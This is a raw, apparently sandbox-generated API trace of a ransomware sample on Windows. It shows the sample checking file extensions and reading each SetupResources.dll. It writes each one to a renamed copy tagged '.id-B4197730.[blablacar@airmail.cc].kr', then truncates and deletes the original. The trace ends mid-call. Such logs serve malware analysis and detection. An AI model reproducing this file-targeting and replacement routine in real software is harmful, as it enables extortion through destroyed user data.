1 [0085.868] lstrlenW (lpString=".rar") returned 4 [0085.868] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.869] lstrlenW (lpString=".bz2") returned 4 [0085.869] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.869] lstrlenW (lpString=".7z") returned 3 [0085.869] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0085.869] lstrlenW (lpString=".dbf") returned 4 [0085.869] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0085.869] lstrlenW (lpString=".1cd") returned 4 [0085.869] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0085.869] lstrlenW (lpString=".jpg") returned 4 [0085.869] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.869] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0085.869] lstrlenW (lpString="SetupResources.dll") returned 18 [0085.869] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0085.870] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=15704) returned 1 [0085.870] CloseHandle (hObject=0x338) returned 1 [0085.870] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0085.870] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.870] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0085.870] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.870] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.870] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0085.871] GetLastError () returned 0x0 [0085.871] ReadFile (in: hFile=0x338, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x3d58, lpOverlapped=0x0) returned 1 [0085.873] WriteFile (in: hFile=0x33c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x3d60, lpOverlapped=0x0) returned 1 [0085.874] ReadFile (in: hFile=0x338, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.875] WriteFile (in: hFile=0x33c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf8, lpOverlapped=0x0) returned 1 [0085.875] SetEndOfFile (hFile=0x33c) returned 1 [0085.875] CloseHandle (hObject=0x33c) returned 1 [0085.876] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.876] SetEndOfFile (hFile=0x338) returned 1 [0085.877] CloseHandle (hObject=0x338) returned 1 [0085.877] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.878] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0085.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0085.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0085.878] lstrlenW (lpString=".doc") returned 4 [0085.878] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.878] lstrlenW (lpString=".docx") returned 5 [0085.878] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.878] lstrlenW (lpString=".pdf") returned 4 [0085.878] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.878] lstrlenW (lpString=".xls") returned 4 [0085.878] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.878] lstrlenW (lpString=".xlsx") returned 5 [0085.878] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.878] lstrlenW (lpString=".ppt") returned 4 [0085.878] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0085.879] lstrlenW (lpString=".zip") returned 4 [0085.879] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.879] lstrlenW (lpString=".rar") returned 4 [0085.879] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.879] lstrlenW (lpString=".bz2") returned 4 [0085.879] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.879] lstrlenW (lpString=".7z") returned 3 [0085.879] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0085.879] lstrlenW (lpString=".dbf") returned 4 [0085.879] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0085.879] lstrlenW (lpString=".1cd") returned 4 [0085.879] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0085.879] lstrlenW (lpString=".jpg") returned 4 [0085.879] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0085.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0085.880] lstrlenW (lpString=".doc") returned 4 [0085.880] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.880] lstrlenW (lpString=".docx") returned 5 [0085.880] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.880] lstrlenW (lpString=".pdf") returned 4 [0085.880] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.880] lstrlenW (lpString=".xls") returned 4 [0085.880] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.880] lstrlenW (lpString=".xlsx") returned 5 [0085.880] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.880] lstrlenW (lpString=".ppt") returned 4 [0085.880] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0085.880] lstrlenW (lpString=".zip") returned 4 [0085.880] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.880] lstrlenW (lpString=".rar") returned 4 [0085.880] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.880] lstrlenW (lpString=".bz2") returned 4 [0085.880] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.880] lstrlenW (lpString=".7z") returned 3 [0085.880] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0085.880] lstrlenW (lpString=".dbf") returned 4 [0085.880] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0085.881] lstrlenW (lpString=".1cd") returned 4 [0085.881] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0085.881] lstrlenW (lpString=".jpg") returned 4 [0085.881] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.881] Sleep (dwMilliseconds=0x64) [0086.717] Sleep (dwMilliseconds=0x64) [0087.133] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0087.133] lstrlenW (lpString="SetupResources.dll") returned 18 [0087.133] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0087.134] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=19288) returned 1 [0087.134] CloseHandle (hObject=0x34c) returned 1 [0087.134] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0087.134] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.134] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0087.134] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.135] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.135] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0087.135] GetLastError () returned 0x0 [0087.135] ReadFile (in: hFile=0x34c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0087.140] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0087.141] ReadFile (in: hFile=0x34c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.141] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf8, lpOverlapped=0x0) returned 1 [0087.141] SetEndOfFile (hFile=0x328) returned 1 [0087.142] CloseHandle (hObject=0x328) returned 1 [0087.143] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.143] SetEndOfFile (hFile=0x34c) returned 1 [0087.144] CloseHandle (hObject=0x34c) returned 1 [0087.145] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.145] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0087.145] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0087.145] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0087.145] lstrlenW (lpString=".doc") returned 4 [0087.145] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.145] lstrlenW (lpString=".docx") returned 5 [0087.145] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.145] lstrlenW (lpString=".pdf") returned 4 [0087.146] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.146] lstrlenW (lpString=".xls") returned 4 [0087.146] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.146] lstrlenW (lpString=".xlsx") returned 5 [0087.146] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0087.146] lstrlenW (lpString=".ppt") returned 4 [0087.146] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0087.146] lstrlenW (lpString=".zip") returned 4 [0087.146] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.146] lstrlenW (lpString=".rar") returned 4 [0087.146] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.146] lstrlenW (lpString=".bz2") returned 4 [0087.146] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.146] lstrlenW (lpString=".7z") returned 3 [0087.146] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0087.146] lstrlenW (lpString=".dbf") returned 4 [0087.146] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0087.146] lstrlenW (lpString=".1cd") returned 4 [0087.146] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0087.146] lstrlenW (lpString=".jpg") returned 4 [0087.146] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0087.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0087.147] lstrlenW (lpString=".doc") returned 4 [0087.147] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.147] lstrlenW (lpString=".docx") returned 5 [0087.147] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.147] lstrlenW (lpString=".pdf") returned 4 [0087.147] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.147] lstrlenW (lpString=".xls") returned 4 [0087.147] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.147] lstrlenW (lpString=".xlsx") returned 5 [0087.147] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0087.147] lstrlenW (lpString=".ppt") returned 4 [0087.147] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0087.147] lstrlenW (lpString=".zip") returned 4 [0087.147] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.148] lstrlenW (lpString=".rar") returned 4 [0087.148] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.148] lstrlenW (lpString=".bz2") returned 4 [0087.148] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.148] lstrlenW (lpString=".7z") returned 3 [0087.148] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0087.148] lstrlenW (lpString=".dbf") returned 4 [0087.148] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0087.148] lstrlenW (lpString=".1cd") returned 4 [0087.148] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0087.148] lstrlenW (lpString=".jpg") returned 4 [0087.148] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.148] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0087.148] lstrlenW (lpString="SetupResources.dll") returned 18 [0087.148] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0087.149] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=17752) returned 1 [0087.149] CloseHandle (hObject=0x34c) returned 1 [0087.149] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0087.149] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.149] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0087.149] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.149] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.149] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0087.150] GetLastError () returned 0x0 [0087.150] ReadFile (in: hFile=0x34c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x4558, lpOverlapped=0x0) returned 1 [0087.152] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x4560, lpOverlapped=0x0) returned 1 [0087.153] ReadFile (in: hFile=0x34c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.153] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf8, lpOverlapped=0x0) returned 1 [0087.153] SetEndOfFile (hFile=0x328) returned 1 [0087.154] CloseHandle (hObject=0x328) returned 1 [0087.155] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.155] SetEndOfFile (hFile=0x34c) returned 1 [0087.156] CloseHandle (hObject=0x34c) returned 1 [0087.156] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.157] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0087.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0087.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0087.157] lstrlenW (lpString=".doc") returned 4 [0087.157] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.157] lstrlenW (lpString=".docx") returned 5 [0087.157] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.157] lstrlenW (lpString=".pdf") returned 4 [0087.157] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.157] lstrlenW (lpString=".xls") returned 4 [0087.157] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.157] lstrlenW (lpString=".xlsx") returned 5 [0087.157] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0087.157] lstrlenW (lpString=".ppt") returned 4 [0087.157] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0087.157] lstrlenW (lpString=".zip") returned 4 [0087.157] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.158] lstrlenW (lpString=".rar") returned 4 [0087.158] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.158] lstrlenW (lpString=".bz2") returned 4 [0087.158] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.158] lstrlenW (lpString=".7z") returned 3 [0087.158] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.158] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0087.158] lstrlenW (lpString=".dbf") returned 4 [0087.158] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.158] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0087.158] lstrlenW (lpString=".1cd") returned 4 [0087.158] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.158] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0087.158] lstrlenW (lpString=".jpg") returned 4 [0087.158] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.158] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0087.158] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0087.158] lstrlenW (lpString=".doc") returned 4 [0087.158] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.158] lstrlenW (lpString=".docx") returned 5 [0087.158] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.158] lstrlenW (lpString=".pdf") returned 4 [0087.158] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.158] lstrlenW (lpString=".xls") returned 4 [0087.158] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.158] lstrlenW (lpString=".xlsx") returned 5 [0087.159] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0087.159] lstrlenW (lpString=".ppt") returned 4 [0087.159] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0087.159] lstrlenW (lpString=".zip") returned 4 [0087.159] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.159] lstrlenW (lpString=".rar") returned 4 [0087.159] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.159] lstrlenW (lpString=".bz2") returned 4 [0087.159] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.159] lstrlenW (lpString=".7z") returned 3 [0087.159] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0087.159] lstrlenW (lpString=".dbf") returned 4 [0087.159] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0087.159] lstrlenW (lpString=".1cd") returned 4 [0087.159] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0087.159] lstrlenW (lpString=".jpg") returned 4 [0087.159] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.159] Sleep (dwMilliseconds=0x64) [0087.753] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0087.753] lstrlenW (lpString="SetupResources.dll") returned 18 [0087.753] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.754] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=18264) returned 1 [0087.754] CloseHandle (hObject=0x334) returned 1 [0087.754] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0087.754] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.754] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.754] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.754] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.754] CreateFileW 